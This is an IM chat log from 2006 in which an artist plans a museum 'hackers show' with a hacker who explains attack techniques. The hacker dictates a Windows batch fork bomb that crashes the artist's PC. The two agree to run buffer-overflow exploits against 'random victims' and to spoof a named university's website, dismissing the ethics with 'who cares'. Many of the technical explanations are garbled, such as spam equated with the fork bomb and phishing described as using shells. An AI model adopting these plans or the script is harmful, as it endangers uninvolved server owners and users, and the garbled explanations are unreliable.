home

YAHOO IM CHAT MARCH 13, 2006 - UN ACCESS

March 14th, 2006

sonicscapes (5:03:25 PM): we have very great server
puyan_bedayat (5:03:41 PM): nice
puyan_bedayat (5:04:07 PM): have you seen any of them ?
puyan_bedayat (5:04:24 PM): except that 3D i sent ya
sonicscapes (5:04:27 PM): yes, you sent me two and we are using for hackers show:)
sonicscapes (5:04:35 PM): no, can you show me more..
sonicscapes (5:04:39 PM): Single XEON Processor 3.0 Ghz
1GB DDR2 RAM
80GB Hard Drive
Suse Linux 9.3 (unless other required)
Monthly: $139.00
Included in the above is DNS, 10 IP’s. Also included is what comes with
Linux (Apache 2.0, Samba etc)
sonicscapes (5:04:50 PM): okay, thta’s what we are getting…
puyan_bedayat (5:05:18 PM): wow, that’s ok !!
puyan_bedayat (5:05:26 PM): i cool system i seee,
sonicscapes (5:05:32 PM): yeap;)
sonicscapes (5:05:39 PM): and you knwo the funnies thing…
sonicscapes (5:05:49 PM): this si indian company located in NYC:))
sonicscapes (5:05:57 PM): I found them in india;)))
puyan_bedayat (5:06:17 PM): yeah, india ,
puyan_bedayat (5:06:27 PM): things are cheaper there ,
sonicscapes (5:06:32 PM): i will go there in november…
sonicscapes (5:06:41 PM): yeap, but server is physically located here:)
sonicscapes (5:06:48 PM): funny..
puyan_bedayat (5:06:51 PM): i know ,
sonicscapes (5:06:51 PM): anyway..
sonicscapes (5:07:11 PM): now, so we thing maybe we will skip tcp/ip denial attack
puyan_bedayat (5:07:15 PM): well, in this way you save money ,
puyan_bedayat (5:07:24 PM): a nice trick !
sonicscapes (5:07:25 PM): the thing is we might wnat to safe the server etc..
sonicscapes (5:07:30 PM): yeap, exactely;)
sonicscapes (5:07:42 PM): so i ask for 10 ip addresses..
puyan_bedayat (5:07:42 PM): lol, against what ?
sonicscapes (5:07:57 PM): im not sure.. let’s go over the stuff qwe were planning..
sonicscapes (5:08:04 PM): let me pull your list
puyan_bedayat (5:08:12 PM): lol
sonicscapes (5:08:21 PM): all im saying we do not the server go down..
sonicscapes (5:08:51 PM): if it goes down this one we will ahve another in california, but the other asked us for security agreement:))
sonicscapes (5:09:00 PM): so if soemthing goes down, im backed;)
sonicscapes (5:09:08 PM): baked*
puyan_bedayat (5:09:36 PM): i seee, it is hard to predict what goes on ,
sonicscapes (5:09:42 PM): yes, i know…
sonicscapes (5:09:53 PM): anything could go wrong…
puyan_bedayat (5:10:15 PM): we are abandoned to our fates ,
sonicscapes (5:10:25 PM): yes, we are..
puyan_bedayat (5:10:42 PM): there is nothing for sure , but there are points that help out
sonicscapes (5:10:52 PM): yes..
puyan_bedayat (5:11:07 PM): linux is a cool OS ,
puyan_bedayat (5:11:42 PM): and are ya goin to have samba sharing ?
puyan_bedayat (5:11:42 PM): or not ?
sonicscapes (5:11:56 PM): shall i ask them about it?
sonicscapes (5:12:06 PM): they asked me if we need control panel?
puyan_bedayat (5:12:17 PM): sure , ya need ,
sonicscapes (5:12:31 PM): OH REALLY…
puyan_bedayat (5:12:33 PM): ya will come to need all administrative tools ,
sonicscapes (5:12:45 PM): hm tyhye ask me if i need 1 or two..
sonicscapes (5:12:59 PM): ah see, so we need all administrative tool..
puyan_bedayat (5:13:15 PM): but not all the services,
sonicscapes (5:13:43 PM): ah see… so what kind?
puyan_bedayat (5:13:46 PM): cancle all unnecessary services
sonicscapes (5:14:02 PM): ah see, basic control pannel, sure..
puyan_bedayat (5:14:08 PM): that ya don’t use , like SMPT or what ever else ,
puyan_bedayat (5:14:36 PM): they are the greatest sources of security holes
sonicscapes (5:14:37 PM): ah see..
puyan_bedayat (5:15:11 PM): especially those using less secure connections, like telnet or ftp ,
sonicscapes (5:15:26 PM): we also need SQL?
puyan_bedayat (5:15:32 PM): SSH, would be better ,
sonicscapes (5:15:42 PM): okay, i will put in the list
puyan_bedayat (5:15:43 PM): yeah , SQL would be needed
puyan_bedayat (5:16:06 PM): as well , if ya gatta have some preformance on it !
sonicscapes (5:16:19 PM): yes, sure
sonicscapes (5:16:39 PM): okay, this si what u propose:
sonicscapes (5:16:40 PM): SQL injection à On SQL server
Spam à On any
Sniffing & Spoofing à On HTTP server
Phishing à On DNS or HTTP servers
Smurffing* à On WinNT PCs or DNS servers
War dialing à On “User PC”
SSH, FTP, PW, TELNET, HTTP, PATCH …Dump à On any
Unix Daemons tricks à On UNIX servers (Solaris DNS, Linux or BSD servers)
puyan_bedayat (5:17:02 PM): yeah , these are most known tricks ,
sonicscapes (5:17:03 PM): okay, now i will ask you a few questions;)
sonicscapes (5:17:16 PM): yeap, let’s stick to them …
puyan_bedayat (5:17:19 PM): i love Unix Daemons ,
puyan_bedayat (5:17:33 PM): although they are hard to preforme ,
sonicscapes (5:17:39 PM): what is SQL injection à On SQL server
sonicscapes (5:17:46 PM): ah see..
puyan_bedayat (5:18:05 PM): we inject some SQL source code .
sonicscapes (5:18:17 PM): yes and…
puyan_bedayat (5:18:36 PM): just like as they are sent by a simple Mail or http server,
puyan_bedayat (5:18:59 PM): and we hide our backdoor codes among others packages ,
sonicscapes (5:19:10 PM): ahs ee
puyan_bedayat (5:19:31 PM): and the backdoor codes will be executed on the kernel of the SQL server
sonicscapes (5:19:39 PM): our backdoor codes among others packages , like what kind?
puyan_bedayat (5:19:55 PM): and then it will automatically open some ports ,
sonicscapes (5:20:02 PM): now, ehtitically should i tell that to the server comapny?>
puyan_bedayat (5:20:28 PM): like a simple www page that opens on your PC,
puyan_bedayat (5:20:34 PM): nope ,
sonicscapes (5:20:37 PM): hw dangerouse it is to them?
puyan_bedayat (5:21:00 PM): they wouldn’t even recognize it
puyan_bedayat (5:21:07 PM): backdoors don’t damage ,
sonicscapes (5:21:14 PM): okay, cool.. thta’s all i wnated to know.. us ee i told other server too much and they didn’t want to do it even they asked lots of money etc..
sonicscapes (5:21:22 PM): okay, coooooool
puyan_bedayat (5:21:26 PM): they are just spy tools , and means of later attacks
sonicscapes (5:21:42 PM): so now how this would be executed on the screen in musuem to see it?
sonicscapes (5:21:54 PM): ah see…
puyan_bedayat (5:22:27 PM): you couldn’t see it ,
sonicscapes (5:22:29 PM): is it anyway, we can do it or for this performance we will use the screen with messager to talk about it..
puyan_bedayat (5:22:33 PM): just the results
sonicscapes (5:22:53 PM): hm, si it anyway we can show open port or maybe, you knwo make an imitation of soemthing etc..
sonicscapes (5:23:05 PM): and what are the exact results?
puyan_bedayat (5:23:21 PM): i don’t know , how ya could show it !
puyan_bedayat (5:23:28 PM): but the result is access
puyan_bedayat (5:23:46 PM): some kind of unauthorized access
sonicscapes (5:23:51 PM): oh yesssssssssssssssssssss
sonicscapes (5:23:56 PM): this si the title of show…….
sonicscapes (5:24:15 PM): hm, im thinking about some improvisation on tyhe screen during the process
sonicscapes (5:24:42 PM): we have 1 lcd pannel for communication, your text will beon screen:)
sonicscapes (5:24:54 PM): and one to performe the visual acts..
puyan_bedayat (5:24:57 PM): kernel level activities are hard to be graphically manifested,
sonicscapes (5:25:07 PM): or i wa sthinking maybe soem kind of improvise tricksetc..
sonicscapes (5:25:25 PM): ah see…
puyan_bedayat (5:25:27 PM): i seee,
sonicscapes (5:25:45 PM): liek, let’s say.. peopel evene do not knwo what is port:)))
puyan_bedayat (5:26:02 PM): people are more likely to see something with their eyes,
sonicscapes (5:26:04 PM): i will make soem flash animation.. with boooom
sonicscapes (5:26:10 PM): and scare peopel:))
puyan_bedayat (5:26:17 PM): =))
sonicscapes (5:26:33 PM): and my assitant will turmn off the light:))
sonicscapes (5:26:45 PM): that will be funny..
puyan_bedayat (5:26:55 PM): lol, i wonder how the animation of a kernel level rootkit would look like !!!
sonicscapes (5:27:16 PM): yeah..
puyan_bedayat (5:27:19 PM): that’s interesting ,
sonicscapes (5:27:20 PM): thta’s true..
puyan_bedayat (5:27:36 PM): never seen such a thing before ,
sonicscapes (5:27:44 PM): yeap.. to improvise unauthorized access to open port
sonicscapes (5:27:51 PM): to opne port.. sorry
sonicscapes (5:28:05 PM): well, thta’t why we work towards future..
puyan_bedayat (5:28:29 PM): i see,
sonicscapes (5:28:58 PM): hm, are there any graphs maybe online or soemthign?
puyan_bedayat (5:29:01 PM): flash makes sense to ordinary people , but LLS codes don’t
sonicscapes (5:29:19 PM): LLS?
sonicscapes (5:29:48 PM): sorry, juts do not know short cuts;)
puyan_bedayat (5:30:13 PM): Linux Lib Shell
sonicscapes (5:30:21 PM): ah see, cool…
sonicscapes (5:30:36 PM): hm.. yeah.. that’s not a visual matter
sonicscapes (5:30:54 PM): okay, let’s think about it ..
sonicscapes (5:31:00 PM): now seconmd proposition:
sonicscapes (5:31:08 PM): Spam à On any
sonicscapes (5:31:22 PM): so how this will take process
puyan_bedayat (5:31:33 PM): yeah , for Spam there could be easy visualizations
sonicscapes (5:31:57 PM): oh really cool..
sonicscapes (5:32:01 PM): how?
puyan_bedayat (5:32:03 PM): that is easy , are ya gonna have a simple one right now ?
sonicscapes (5:32:14 PM): okay;)
puyan_bedayat (5:32:24 PM): open your notepad
sonicscapes (5:32:29 PM): okay
puyan_bedayat (5:32:36 PM): and type these
sonicscapes (5:33:04 PM): okay
puyan_bedayat (5:33:08 PM): @echo off
:a
start
goto a
sonicscapes (5:33:20 PM): excatly the way u did?
puyan_bedayat (5:33:26 PM): and then save it as a.bat
puyan_bedayat (5:33:34 PM): yeah ,
sonicscapes (5:33:48 PM): okay give me sec
sonicscapes (5:34:55 PM): 1 sec, im looking for my note pad..
puyan_bedayat (5:35:24 PM): lol ,
sonicscapes (5:35:36 PM): sorry mozzila didn’t work i had to go thru ie
puyan_bedayat (5:36:22 PM): lol,
sonicscapes (5:36:31 PM): okay, i save and name the file but i save it as txt
puyan_bedayat (5:36:59 PM): what is it’s name now ?
sonicscapes (5:37:21 PM): a.bat with the symbol on it
puyan_bedayat (5:37:26 PM): lol
sonicscapes (5:37:27 PM): on my desktop
puyan_bedayat (5:37:31 PM): execute it
sonicscapes (5:37:34 PM): how
sonicscapes (5:37:40 PM): put into motion
puyan_bedayat (5:37:41 PM): double click it
puyan_bedayat (5:38:01 PM): and see what goes on in your PC
puyan_bedayat (5:38:09 PM): this is spam
sonicscapes (5:38:15 PM): wowwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww
sonicscapes (5:38:22 PM): i love ittttttttttttttttt
sonicscapes (5:38:24 PM): :) )
sonicscapes (5:38:31 PM): it was, so so cool;)
sonicscapes (5:38:52 PM): now i have to close it
puyan_bedayat (5:39:05 PM): you have to close them !
puyan_bedayat (5:39:29 PM): they should be more than 1 now , a lot more !!! :D
sonicscapes (5:39:32 PM): it is sucking my comp now
sonicscapes (5:39:38 PM): desktop balck
puyan_bedayat (5:39:40 PM): i know ,
sonicscapes (5:39:50 PM): how do i get it oput
puyan_bedayat (5:45:41 PM): ?
sonicscapes (5:45:45 PM): im back:)
puyan_bedayat (5:45:51 PM): lol,
sonicscapes (5:45:58 PM): my computer run out of memeory i had to force reboot
puyan_bedayat (5:46:10 PM): how was this little Spam ?
sonicscapes (5:46:14 PM): so, what i do to stop chain of spams?
sonicscapes (5:46:20 PM): nice performance…
sonicscapes (5:46:22 PM): ;0
puyan_bedayat (5:46:22 PM): i know , i said it will hang !
sonicscapes (5:46:28 PM): i better back up my computer;)))
sonicscapes (5:46:44 PM): as far it doesn’t demage the drive;)
sonicscapes (5:46:51 PM): nice, i like ti
sonicscapes (5:46:57 PM): so i type
puyan_bedayat (5:47:06 PM): there nothing to do , it runs till ur PC goes out of cache mem !
sonicscapes (5:47:08 PM): ctrl + C in one of the windows and…
puyan_bedayat (5:47:20 PM): yeah, if ya could !!
sonicscapes (5:47:23 PM): ahs ee, so this si not so bad for my comp, si it?
puyan_bedayat (5:47:25 PM): i doubt it
sonicscapes (5:47:34 PM): okay, well, still works:))
puyan_bedayat (5:47:38 PM): nope, not for once
sonicscapes (5:47:43 PM): cool..
puyan_bedayat (5:47:47 PM): ;)
sonicscapes (5:47:49 PM): puyan_bedayat (3/13/2006 5:40:39 PM): try to write ctrl + C in one of those windows
sonicscapes (5:47:56 PM): what this will do..
puyan_bedayat (5:48:19 PM): yeah , this will end the chain , but it would be hard to write it
puyan_bedayat (5:48:33 PM): the windows come one after the other ,,,
sonicscapes (5:48:40 PM): yes, it goes to fast… but it nice visual effect..
sonicscapes (5:48:49 PM): it will look cool on screen;)
puyan_bedayat (5:48:56 PM): yeah, something people could seeee !
puyan_bedayat (5:49:09 PM): and this will affect them ,
sonicscapes (5:49:09 PM): is it any trick to add soem skulls or somthing scary on these pop ups
sonicscapes (5:49:26 PM): yeah.. and i turn off the light and start screaming:))
puyan_bedayat (5:49:37 PM): sure there are lots of tricks ,
sonicscapes (5:49:43 PM): tell me more;)
puyan_bedayat (5:49:46 PM): in Spaming , ,,,
sonicscapes (5:49:53 PM): cool.. what next
puyan_bedayat (5:50:26 PM): this one was a very simple .bat spam ,
sonicscapes (5:50:37 PM): YEAP..
puyan_bedayat (5:50:40 PM): but there are kinds of more professional Spams
puyan_bedayat (5:50:54 PM): called Buffer Over Flow exploits !
sonicscapes (5:51:16 PM): nice
puyan_bedayat (5:51:16 PM): these little scripts are mostly coded in PHP, or Java
puyan_bedayat (5:51:42 PM): and they willl do something like what happened to ur PC, on servers ,
sonicscapes (5:52:02 PM): ok
puyan_bedayat (5:52:06 PM): and they can also delet or change things as they cycle ,
sonicscapes (5:52:09 PM): ohhhhhhhhhhh
puyan_bedayat (5:52:22 PM): are gonna have a go on a Buffer Over Flow ?
sonicscapes (5:52:27 PM): but how can we see it?
puyan_bedayat (5:53:37 PM): we can easy tell the script to open a window and show down all the files it delets ,
sonicscapes (5:53:49 PM): AHHHHHHHHHHHHHHHA
puyan_bedayat (5:54:03 PM): just like the ls command in unix ,
sonicscapes (5:54:05 PM): now where the file sare actually deteled on the server or computer
puyan_bedayat (5:54:12 PM): or dir command in Dos
sonicscapes (5:54:17 PM): ah see..
sonicscapes (5:54:32 PM): now can we preprogram the files which we ask to be deleted
sonicscapes (5:55:03 PM): so thsi action will be on serve ror computer
sonicscapes (5:55:21 PM): i read in pc world, thta servers hate Buffer Over Flow exploits
sonicscapes (5:55:25 PM): they will kik me;)
sonicscapes (5:55:37 PM): what u think…
puyan_bedayat (5:56:08 PM): Buffer Over Flow exploits could really damage server’s OS
sonicscapes (5:56:27 PM): yes, that’s what i heard..
sonicscapes (5:56:40 PM): so can we skip this part:)
puyan_bedayat (5:56:42 PM): and could also easy be altered to a DOS attack
sonicscapes (5:56:50 PM): and maybe do it on server which is not mins:)
sonicscapes (5:56:55 PM): mine/our:)
sonicscapes (5:57:13 PM): can we do it on any random server?
puyan_bedayat (5:57:17 PM): well , what ever ya like , a little hole would be enough
sonicscapes (5:57:21 PM): but that will eb unethical?
puyan_bedayat (5:57:30 PM): to some extent yeah .
sonicscapes (5:57:35 PM): yeha..
puyan_bedayat (5:57:41 PM): yeah , that would be ,
sonicscapes (5:57:44 PM): or less we hate the server..
puyan_bedayat (5:57:47 PM): but who cares ,
sonicscapes (5:57:51 PM): or server people ..
sonicscapes (5:58:03 PM): yes.. sure.. let’s pick the vitum
puyan_bedayat (5:58:04 PM): we could kick down some servers around
sonicscapes (5:58:06 PM): victim
puyan_bedayat (5:58:12 PM): yeah ,
sonicscapes (5:58:13 PM): wow, nice:)
sonicscapes (5:58:16 PM): yes..
puyan_bedayat (5:58:25 PM): random victims
sonicscapes (5:58:27 PM): i like that..
sonicscapes (5:58:33 PM): yeap, it sounds better…
sonicscapes (5:58:46 PM): somewhere in europe?
sonicscapes (5:58:55 PM): neutral background..
sonicscapes (5:58:58 PM): or asia
puyan_bedayat (5:58:59 PM): these are hacking casualties
puyan_bedayat (5:59:13 PM): no matter where they are ,
sonicscapes (5:59:20 PM): yes.. i read in article after sept. 11 if you do this stuff here, it sucks..
sonicscapes (5:59:30 PM): but in germany it is easier..
sonicscapes (5:59:34 PM): what do you think?
sonicscapes (6:00:03 PM): well, we won’t tell them thta thyer will eb buffer..
puyan_bedayat (6:00:14 PM): well , after 11.s many things suck ,
sonicscapes (6:00:23 PM): yeah, but they can fix this problem easily, the servers?
sonicscapes (6:00:28 PM): yes, i know…
puyan_bedayat (6:00:52 PM): i doubt , it depends on our codes
sonicscapes (6:00:58 PM): ah see…hm…
sonicscapes (6:01:12 PM): so i guess we go randomly..
puyan_bedayat (6:01:20 PM): we could program our script to devistate the whole OS
sonicscapes (6:01:27 PM): let’s do this it will clal RUSSIAN RULETTE:)
sonicscapes (6:01:41 PM): we will have a lits of all the servers aroubnd the world..
sonicscapes (6:01:56 PM): I love idea, rusisn rullette server buffer
puyan_bedayat (6:02:22 PM): wow, what is a rusisn rullette ?
sonicscapes (6:02:27 PM): how u think.. i guess it is all depends on the performer
sonicscapes (6:02:46 PM): russian rulette it is veyr famouse during Tsar
sonicscapes (6:02:51 PM): before comunist…
sonicscapes (6:03:01 PM): the nobile army people
sonicscapes (6:03:09 PM): to entertaine themselfes
sonicscapes (6:03:23 PM): put 3 bullets in the pistol..
sonicscapes (6:03:39 PM): and play with it.. by luck..
sonicscapes (6:03:46 PM): and fire into tis own head…
sonicscapes (6:03:59 PM): many died playing this game during ramanoff era:))
sonicscapes (6:04:30 PM): dotoyevsky wrote a lot of novels about it, you can find it in IDIOT
sonicscapes (6:04:39 PM): his bets book i read..
sonicscapes (6:04:45 PM): best**
puyan_bedayat (6:05:01 PM): wow, i seee , narcissist guys would kill themselves for fun
sonicscapes (6:05:14 PM): YEAH;)
puyan_bedayat (6:05:44 PM): IDIOT , a nice word to descripe these guys !
puyan_bedayat (6:05:56 PM): lol,
sonicscapes (6:06:00 PM): yeap:)
sonicscapes (6:06:08 PM): u rfunny, good, good
sonicscapes (6:06:20 PM): u r smart guy..
sonicscapes (6:06:35 PM): so now with Buffer Over Flow exploits on random server
puyan_bedayat (6:06:41 PM): wola ,
puyan_bedayat (6:06:50 PM): yeah ,
sonicscapes (6:07:01 PM): can we execute thew window open and make it visual?
puyan_bedayat (6:07:14 PM): yeah ,
puyan_bedayat (6:07:16 PM): sure ,
sonicscapes (6:07:17 PM): cool..
puyan_bedayat (6:07:30 PM): just needs some Java commands
sonicscapes (6:07:33 PM): cool..
sonicscapes (6:07:41 PM): ah see, it is easy to do..
sonicscapes (6:07:59 PM): will you have them by time of performance..
puyan_bedayat (6:08:15 PM): yeah ,
sonicscapes (6:08:22 PM): cool, you are the best../
puyan_bedayat (6:08:31 PM): i’ll tell my bro to do it
sonicscapes (6:08:37 PM): yeah, cool..
puyan_bedayat (6:08:44 PM): tanx ,
sonicscapes (6:08:51 PM): u r welcome/
sonicscapes (6:09:06 PM): fantastic,..
sonicscapes (6:09:10 PM): let’s see next
sonicscapes (6:09:42 PM): 1 SEC
puyan_bedayat (6:09:45 PM): lol
sonicscapes (6:10:08 PM): Sniffing & Spoofing à On HTTP server
sonicscapes (6:10:18 PM): MY SISTER IS CALLING B BACK 2 MIN. OK
puyan_bedayat (6:10:28 PM): lol
sonicscapes (6:14:24 PM): im back, sorry
sonicscapes (6:14:30 PM): ok, next phase\
sonicscapes (6:14:39 PM): Sniffing & Spoofing à On HTTP server?
puyan_bedayat (6:15:21 PM): Sniffing and spoofing are both defaceing and redirecting tricks
sonicscapes (6:15:46 PM): which means
puyan_bedayat (6:15:53 PM): we simply redirect the DNS path , instead of hacking the server
sonicscapes (6:16:22 PM): ah see.. and can we redirect anywhere we want?
puyan_bedayat (6:16:31 PM): yeah ,
puyan_bedayat (6:16:40 PM): to any URL, we desire
sonicscapes (6:16:48 PM): ah see…
sonicscapes (6:16:51 PM): cool..
puyan_bedayat (6:16:58 PM): imagine i spoof your
sonicscapes (6:17:04 PM): like letes say we can redirect to moma.org?
sonicscapes (6:17:14 PM): yeap..a dn?
sonicscapes (6:17:17 PM): and
puyan_bedayat (6:17:21 PM): then anything you click on your URL
puyan_bedayat (6:17:32 PM): my URL will come up
puyan_bedayat (6:17:44 PM): instead
sonicscapes (6:17:54 PM): ah see, yes i saw once in these gambling sites..
sonicscapes (6:18:06 PM): yeah, you are forced to play poker..
sonicscapes (6:18:31 PM): cool.. so let’s say we will choose the URL..
sonicscapes (6:18:43 PM): and we redirect it..
sonicscapes (6:18:57 PM): and we can redo the process after it, corretc
puyan_bedayat (6:19:11 PM): it is like rubbing the name of a site ,
sonicscapes (6:19:11 PM): it it hard to do?
sonicscapes (6:19:17 PM): ah see..
puyan_bedayat (6:19:29 PM): instead of rubbing itself
puyan_bedayat (6:19:39 PM): nope ,
sonicscapes (6:19:52 PM): nope..
puyan_bedayat (6:19:52 PM): it doesn’t matter,
puyan_bedayat (6:20:05 PM): so easy , to undo the procedure
sonicscapes (6:20:09 PM): cool…
sonicscapes (6:20:22 PM): it could be nice visual effetc
sonicscapes (6:20:32 PM): do you have any suggestions in thsi regard?
sonicscapes (6:20:47 PM): and specific redirections?
puyan_bedayat (6:21:06 PM): it will have nice visual effects,
sonicscapes (6:21:16 PM): yes, it depends on URL, sins’t it
sonicscapes (6:21:21 PM): isn’t it?
puyan_bedayat (6:21:25 PM): we could redirect a well known URL,
sonicscapes (6:21:38 PM): nice, i like that..
puyan_bedayat (6:21:44 PM): so it will make sense for any one how does it work ,
sonicscapes (6:21:49 PM): let’s say whitney.org
sonicscapes (6:21:58 PM):
http://whin=tney.org
puyan_bedayat (6:22:01 PM): a popular URL that they know ,
sonicscapes (6:22:07 PM): sorry..
sonicscapes (6:22:14 PM): sure whitney.org
sonicscapes (6:22:36 PM): will be replace by newmuseum.org or vice versa
sonicscapes (6:22:46 PM): or anythign you like
sonicscapes (6:23:05 PM): but we should stick to art world so it si easier to avoid ahrassment etc..
sonicscapes (6:23:15 PM): they will accept it..
sonicscapes (6:23:23 PM): for how long this will be redirect?
sonicscapes (6:23:41 PM): shall we tell them ahead, or not?
puyan_bedayat (6:23:42 PM): this is something totally unethical
sonicscapes (6:24:00 PM): thta’s what im saying, we will ask them first
puyan_bedayat (6:24:02 PM): and i don’t know ,
sonicscapes (6:24:05 PM): yes..
sonicscapes (6:24:11 PM): so let’s do it simpler..
puyan_bedayat (6:24:15 PM): i don’t use to alarm my victims
puyan_bedayat (6:24:28 PM): i don’t know about ya
sonicscapes (6:24:40 PM): i will create sites, mirrios site of these selected
sonicscapes (6:24:48 PM): yes, i agree
puyan_bedayat (6:25:00 PM): lol, this is a choice also ,
puyan_bedayat (6:25:16 PM): then we redirect our own , URL?
puyan_bedayat (6:25:23 PM): :) )
sonicscapes (6:25:24 PM): yeap..
sonicscapes (6:25:30 PM): thsi si ethical:)
puyan_bedayat (6:25:42 PM): isn’t it a vicious circle ?
sonicscapes (6:25:46 PM): but not my=uch public effect..
sonicscapes (6:25:49 PM): it is :)
sonicscapes (6:26:07 PM): what about we will redirect hackers site?
sonicscapes (6:26:22 PM): the once they have all these maliciouse codes?
puyan_bedayat (6:26:31 PM): ooooooooooohhhhh, a little hard ,, but fantastic …
sonicscapes (6:26:40 PM): yeap, this is part of the game;)
sonicscapes (6:26:51 PM): you think they have all secure?
sonicscapes (6:27:10 PM): we can look around and find some kidid codders
sonicscapes (6:27:16 PM): sorry, kiddie
puyan_bedayat (6:27:20 PM): well, they know most security holes , at least
sonicscapes (6:27:26 PM): yeap..
puyan_bedayat (6:27:38 PM): although , there are holes , that knowing them wouldn’t help at all
puyan_bedayat (6:27:52 PM): cuz they couldn’t close them
sonicscapes (6:28:01 PM): ah see, it might back fire?
puyan_bedayat (6:28:14 PM): there is nothing impossible for a creative hacker
sonicscapes (6:28:21 PM): yes, i guess:)
puyan_bedayat (6:28:30 PM): yeah , sure it dose ,
puyan_bedayat (6:28:35 PM): but no matter ,
puyan_bedayat (6:28:39 PM): we defend
sonicscapes (6:28:39 PM): at least i knwo how it works… we will think about the urls/..
sonicscapes (6:28:48 PM): so it will eb hackers war..
sonicscapes (6:28:55 PM): nice..
sonicscapes (6:29:07 PM): all we ned the script..
sonicscapes (6:29:12 PM): how does it work?
puyan_bedayat (6:29:37 PM): hey ,
sonicscapes (6:29:40 PM): yes..
puyan_bedayat (6:30:12 PM): how do ya like spoofing my university Site ?
sonicscapes (6:30:19 PM): yesssssssss
puyan_bedayat (6:30:24 PM): it would be a lot of fun
sonicscapes (6:30:25 PM): that will be great..
sonicscapes (6:30:35 PM): sure, it will be also good for you;)
puyan_bedayat (6:30:49 PM): :D
sonicscapes (6:30:50 PM): fantastic idea..
sonicscapes (6:31:02 PM): great =D>
puyan_bedayat (6:31:10 PM): i’ll type the name of my honey ,,
sonicscapes (6:31:24 PM): what’s the name of yr university?
puyan_bedayat (6:31:31 PM): in the first page ,
sonicscapes (6:31:31 PM): yes, what’s her name;)
sonicscapes (6:31:35 PM): yesssssss
puyan_bedayat (6:31:37 PM): Bahonar
sonicscapes (6:31:39 PM): she will love it…
sonicscapes (6:31:46 PM): oh, what a nice name
puyan_bedayat (6:31:54 PM): bahonar is my university
sonicscapes (6:31:56 PM): University Bahonar
sonicscapes (6:32:01 PM): yes, sorry
sonicscapes (6:32:05 PM): let me see now
puyan_bedayat (6:32:14 PM): and Hoda is the the name of my honey ,
sonicscapes (6:32:18 PM): Hoda
puyan_bedayat (6:32:23 PM): yeah ,
sonicscapes (6:32:23 PM): nice.. is she pritty
puyan_bedayat (6:32:42 PM): yeah , i’ll send you her pic ,
puyan_bedayat (6:32:51 PM): as soon as i got one
puyan_bedayat (6:33:01 PM): she is nice ,
sonicscapes (6:33:06 PM): thank yuo i would love to see..
sonicscapes (6:33:10 PM): ok, i hav eit http://www.uk.ac.ir/Index/index.jsp
puyan_bedayat (6:33:39 PM): yeah ,
sonicscapes (6:33:47 PM): great…
sonicscapes (6:33:52 PM): so this is a deal;)
sonicscapes (6:34:02 PM): fantastic..
puyan_bedayat (6:34:13 PM): it could be, ,,
sonicscapes (6:34:20 PM): ok, netx Phishing à On DNS or HTTP servers
sonicscapes (6:34:37 PM): if not we will do it to ny arts or soemother places ;)
sonicscapes (6:34:47 PM): Phishing à On DNS or HTTP servers?
sonicscapes (6:34:52 PM): what si a process?
puyan_bedayat (6:35:09 PM): yeah , Phishing , we use shells
sonicscapes (6:35:21 PM): ah see.. security shells
sonicscapes (6:35:26 PM): and how does it work?
puyan_bedayat (6:35:30 PM): to break into systems
puyan_bedayat (6:36:05 PM): it simulates http, and some other kinds of servers output,
puyan_bedayat (6:36:19 PM): and send them into the victim system
sonicscapes (6:36:22 PM): ah see, is it visual..
puyan_bedayat (6:36:36 PM): and it would be almost impossible for the firewall
sonicscapes (6:36:43 PM): yes..
puyan_bedayat (6:36:48 PM): to recognize the punched codes
sonicscapes (6:36:52 PM): ah see..
puyan_bedayat (6:36:57 PM): it uses cookies
puyan_bedayat (6:37:18 PM): and well, i doubt it to be visualizable
sonicscapes (6:37:34 PM): ah see, so now my work.. i will creaate mirror site correct and then popel ewill think it is let’s say nytimes..
sonicscapes (6:37:40 PM): oh no???
sonicscapes (6:37:49 PM): so maybe we should skip it:(
sonicscapes (6:38:23 PM): i thought phishing is like they create a mirrior site and people type personal info into ti, thsinking this si bank etc..
puyan_bedayat (6:38:40 PM): i don’t know , ,but so far as people believe what they seee , we may have to skip
sonicscapes (6:38:53 PM): yeap, good i dea.. let’s see next
sonicscapes (6:39:14 PM): Smurffing* à On WinNT PCs or DNS servers
sonicscapes (6:39:42 PM): this looks also not much visual:)
puyan_bedayat (6:40:11 PM): yes ,,, this one is also a matter on interior codes
sonicscapes (6:40:21 PM): ah see, so let’s safe time and skip it:)
sonicscapes (6:40:36 PM): next, SSH, FTP, PW, TELNET, HTTP, PATCH …Dump à On any
puyan_bedayat (6:40:39 PM): just some shifts on local IP addresses could be visualizable
sonicscapes (6:41:15 PM): oh really… hm is it worht it trouble tho
puyan_bedayat (6:41:18 PM): yeah , these all could have great visual effects
puyan_bedayat (6:41:32 PM): nope, not worth !! at all
sonicscapes (6:41:33 PM): oh nice let’s do it than, we will have 10 ip addresses;)
sonicscapes (6:41:44 PM): so yes, no;)
sonicscapes (6:42:04 PM): so why i ask them for so many IP addresses
puyan_bedayat (6:42:14 PM): lol, http, Dump specially , could be very cleverly visualized
sonicscapes (6:42:15 PM): :) )
sonicscapes (6:42:22 PM): in what sense..
puyan_bedayat (6:42:49 PM): there is no need of 10 IP addresses
sonicscapes (6:43:01 PM): yes, so how many
puyan_bedayat (6:43:12 PM): one would be enough
sonicscapes (6:43:15 PM): 5 you know for web envirinment
puyan_bedayat (6:43:22 PM): for http dump ,
sonicscapes (6:43:29 PM): like create website and change it with soem content and etc..
sonicscapes (6:43:33 PM): yes..
puyan_bedayat (6:43:57 PM): nope , i’m talkin about the http dump tricks ,
sonicscapes (6:44:03 PM): yes, okay..
sonicscapes (6:44:17 PM): the switching ip addresses around.
puyan_bedayat (6:44:21 PM): they work on a head IP address and some open ports
sonicscapes (6:44:31 PM): ah see, any visual aidea..
puyan_bedayat (6:45:00 PM): the local and enviornmental IPs has nothing to do with it
sonicscapes (6:45:07 PM): ah see..
sonicscapes (6:45:20 PM): i get it.. if you think it worht it let’s do it/..
puyan_bedayat (6:45:39 PM): yeah , we could program our viruse to shake things in the screen
puyan_bedayat (6:45:49 PM): or to close and open windows ,
sonicscapes (6:46:04 PM): ah see nice…
puyan_bedayat (6:46:15 PM): or to change the background of the PC, in an endless chain
sonicscapes (6:46:25 PM): wow, that’s ncie…
sonicscapes (6:46:39 PM): make it pitch black.. for example
puyan_bedayat (6:46:46 PM): or to preform a crazy mouse action
sonicscapes (6:46:47 PM): with your logo on it;)
sonicscapes (6:46:56 PM): yeah, of course
puyan_bedayat (6:47:02 PM): :D ;)
sonicscapes (6:47:03 PM): i love it
sonicscapes (6:47:21 PM): so, you would be able to access to my computer and perform it on the screen?
sonicscapes (6:47:28 PM): during perofmance
